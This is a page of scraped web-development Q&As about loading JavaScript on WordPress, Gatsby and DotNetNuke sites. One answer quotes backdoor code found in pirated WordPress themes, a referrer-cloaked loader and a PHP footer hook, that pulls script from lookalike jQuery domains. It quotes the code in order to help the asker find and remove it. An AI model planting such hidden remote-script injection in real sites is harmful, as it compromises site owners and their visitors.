We have a WordPress site where we use a programme to create share buttons for our site. This is called ShareThis. All we have to do to integrate it to our site is to add the following script to our header.php.
<script type='text/javascript' src='//platform-api.sharethis.com/js/sharethis.js#property=58ff3bc2a9dabe0012b03357&product=inline-share-buttons' async='async'></script>
We did - and it is working perfectly. But is there a way to make this script load on our blog only, and not on every page of our site? It is slowing down our site by approximately 400 ms and is only used in our blog posts.
There actually is an easy way to do this.
In your header, you can do this. First I will explain what, and then how you do.
You can do this easily by checking if the $_SERVER['REQUEST_URI'] variable starts with 'blog' or the desired page prefix to load on, for example http://yoursite.com/blog/(post)
How-to:
if (0 === strpos($_SERVER['REQUEST_URI'], '/blog')) {
// Load script
echo "<script type='text/javascript' src='//platform-api.sharethis.com/js/sharethis.js#property=58ff3bc2a9dabe0012b03357&product=inline-share-buttons' async='async'></script>";
}
Related
Ive tried using the js load function but as the external site does not allow CORS requests, my original GET request gets blocked.
<div id="test"></div>
<script>
$(document).ready(function () {
$("#test").load("https://mywebsite.com");
});
</script>
So it seems that my only approach is to use iframes?! Is there a way to only crawl a specific div with iframes? I dont want to display the whole website.
EDIT: Since I am using Django I was able to crawl the website with python in a view and then push the crawled and cleaned up code snippet in the html template. Nevertheless to answer my question -> There is no correct way of doing it as long as the website you are trying to access is blocking the content.
Work with the owner of the site you want to take content from.
They can set you up with an API. That avoids having to use hackey methods or risking copyright-related legal trouble.
I run into a problem with my blog that I've been writing content for months now. I'm using Gatsby v2 and the Netlify CMS v2 and host the entire blog with the help of Netlify and Github.
I've asked for help a few days ago but the thread got deleted due to not enough clarification.
So, I'm trying again now.
I'm using this starter: https://github.com/thriveweb/yellowcake , and haven't changed much besides CSS yet.
I'm trying to improve my blog by updating the /src/templates/SinglePost.js template for all my blog posts by adding share buttons from Addthis.com. I've successfully added their code (script) to my blog:
<script type="text/javascript" src="//s7.addthis.com/js/300/addthis_widget.js#pubid=ra-545927b3c48573a"></script>
by using Netlifys Snippet injection option. This option allows to inject analytics or other scripts into the HTML of the site before </body> tag.
but since its a static website, If I enter the website from the home URL it doesn't load the script on other pages. I have to refresh (reload) the blog post in order to see the share buttons if I'm coming from the homepage or any other page from the website. Is there a way to refresh the blog posts automatically when a user enters the blog post when he's coming from the homepage?
Looking for solutions :)
You can try something like
<body onload="addScript()">
function addScript() {
var my_script = document.createElement('script');
my_script.setAttribute('src','http.....');
document.head.appendChild(my_script);
}
I am using Malware bytes and every time I visit my wordpress site it blocks a script trying to run on the page, the script is:
<script type="text/javascript">
if (!document.referrer || document.referrer == '') {
document.write('<scr' + 'ipt type="text/javascript" src="http://www.jquerylibs.org/jquery.min.js"></scr' + 'ipt>');
} else {
document.write('<scr' + 'ipt type="text/javascript" src="http://www.jquerylibs.org/jquery.js"></scr' + 'ipt>');
}
</script>
I'm not sure if it malicious or not but I would like to remove it, however I do not know which plugin or file is causing it, i've tried looking at page source, etc.
What does the script mean and is there a way to find out what's causing it?
Any help would be greatly appreciated.
You are using a wordpress plugin or theme that you probably downloaded from a repository of 'nulled' themes and plugins.
Almost all such websites use a business model whereby they offer premium themes and plugins which normally cost 5$-75$ for free.
But as the saying goes, there is no such thing as a free lunch. In exchange for the free plugin/theme, the website proprietor adds code which includes a js file from an outside domain which adds banners to your website.
To prevent the webmaster or developer from immediately noticing the banners (or just a back link or three), either anyone logged in as admin or/and anyone without a referrer url is not shown the advertisements.
In your case, the payload was being included from a domain which is similar to the real thing thereby fooling enough inexperienced Wordpress webmasters as something which belongs - jQuery. Official jQuery CDN is located here //code.jquery.com/
Make sure to check all themes or plugins from shady places for similar code which may also be inside image files though normally is inside init.php or functions.php. Here is another example of similar code using a different variation of jquery domain.
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
$jquery = $host.'u'.'jquery.org/jquery-1.6.3.min.js';
if (#fopen($jquery,'r')){
echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
}
}
add_action('wp_footer', 'wp_func_jquery');
}
You can search for this script in your wordpress directory using one of the applications proposed in this question: Tools to search for strings inside files without indexing.
I want to create a module that basically includes javascript on to every page on a dotnetnuke site. I can include a js file in the current page,
ClientResourceManager.RegisterScript(this.Page,
"~/DesktopModules/AuthenticationServices/ZapperScanToLogin/view.js",
FileOrder.Js.jQuery);
but what I really want to do is install my module on the home page and it will include javascript on to every page on the dnn site. Is this possible, how can I do it?
I would honestly do this with a modification to your skin, but here are the steps to do it with a module.
Create a module (I recommend starting with my templates http://christoctemplate.codeplex.com)
Add your JS code
Add the module to the homepage
Go to the module settings, choose Display on All Pages
I would add this to your skin, either just manually by adding the reference, or by creating a SkinObject rather than a module.
If you do it as a module it is possible that a user can delete the module from the page, or a number of other things. if this script is a requirement it is best to make it so that users can't break the site by doing something accidentally.
One way to do it is add to the header of the site, under site settings. Logged in as SuperUser:
Go Settings (Cog) Site Settings
Site behavior Tab - Default Pages
At the bottom: Page Output Settings
HTML Page Header Tags: add your script link:
Sample below. Does not show up at bottom of page, shows up top in header, but will be on every page.
<script type="text/javascript" src="/Portals/0/Your-js-here.js"></script>
There ought to be a page template for your module which you can edit and insert the jQuery script reference into the header of (in between the <head> tags). This would then be loaded on each page of the module.
Here are a couple of references that might help:
http://wnsinj.codeplex.com/
http://www.dnnsoftware.com/community-blog/cid/135141/DotNetNuke-Tips-and-Tricks-11-Using-jQuery-in-DotNetNuke
What I ended up doing was including a javascript registration in the js/debug/dnn.modalpopup.js file, which then registers my javascript on the login and registration pages and popup dialogue boxes.
var myView = document.createElement("script");
myView.type = "text/javascript";
myView.src = "/js/view.js";
var myTech = document.createElement("script");
myTech.type = "text/javascript";
myTech.src = "/js/mytech.js";
document.head.appendChild(myView);
document.head.appendChild(myTech);
I am not sure placing the javascript files in that location is ideal or not, but this is the solution that works for me. I think the manual dev work per DNN site will be minimal so I hope it's an acceptable solution.
I am not sure whether I should put the script in the page head, or the body... the order of loading and what not of javascript is a mystery to me.
I am using head.js and using the below file to initiate the javascript file calls:
<script src="/scripts/load.js" type="text/javascript"></script>
In the load.js file I have the following code:
head.js(
{livechat: "/scripts/livechat.js"},
{jquery: "http://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js"},
{jquerytools: "http://cdn.jquerytools.org/1.2.5/full/jquery.tools.min.js"},
{slider: "/scripts/jquery.nivo.slider.pack.js"},
{prettyphoto: "/scripts/jquery.prettyPhoto.js"},
{sliderfunctions: "/scripts/slidercode.js"},
{functions: "/scripts/functions.js"}
);
My problem is, even though I removed the livechat line, the chat box is still appearing on all my website pages unless I manually clear the browser cache. My concern is that I no longer utilize the livechat service and I do not want the visitors to be confused by seeing the livechat box appear but not function correctly.
Is there any way to tell head.js that there has been a change in the files being loaded and to refresh browser cache or something?
You could put something along the lines of this:
<script src="/scripts/load.js?date=123456789" type="text/javascript"></script>
Adding a query string to this file should trick the browser into thinking it's something it hasn't seen before.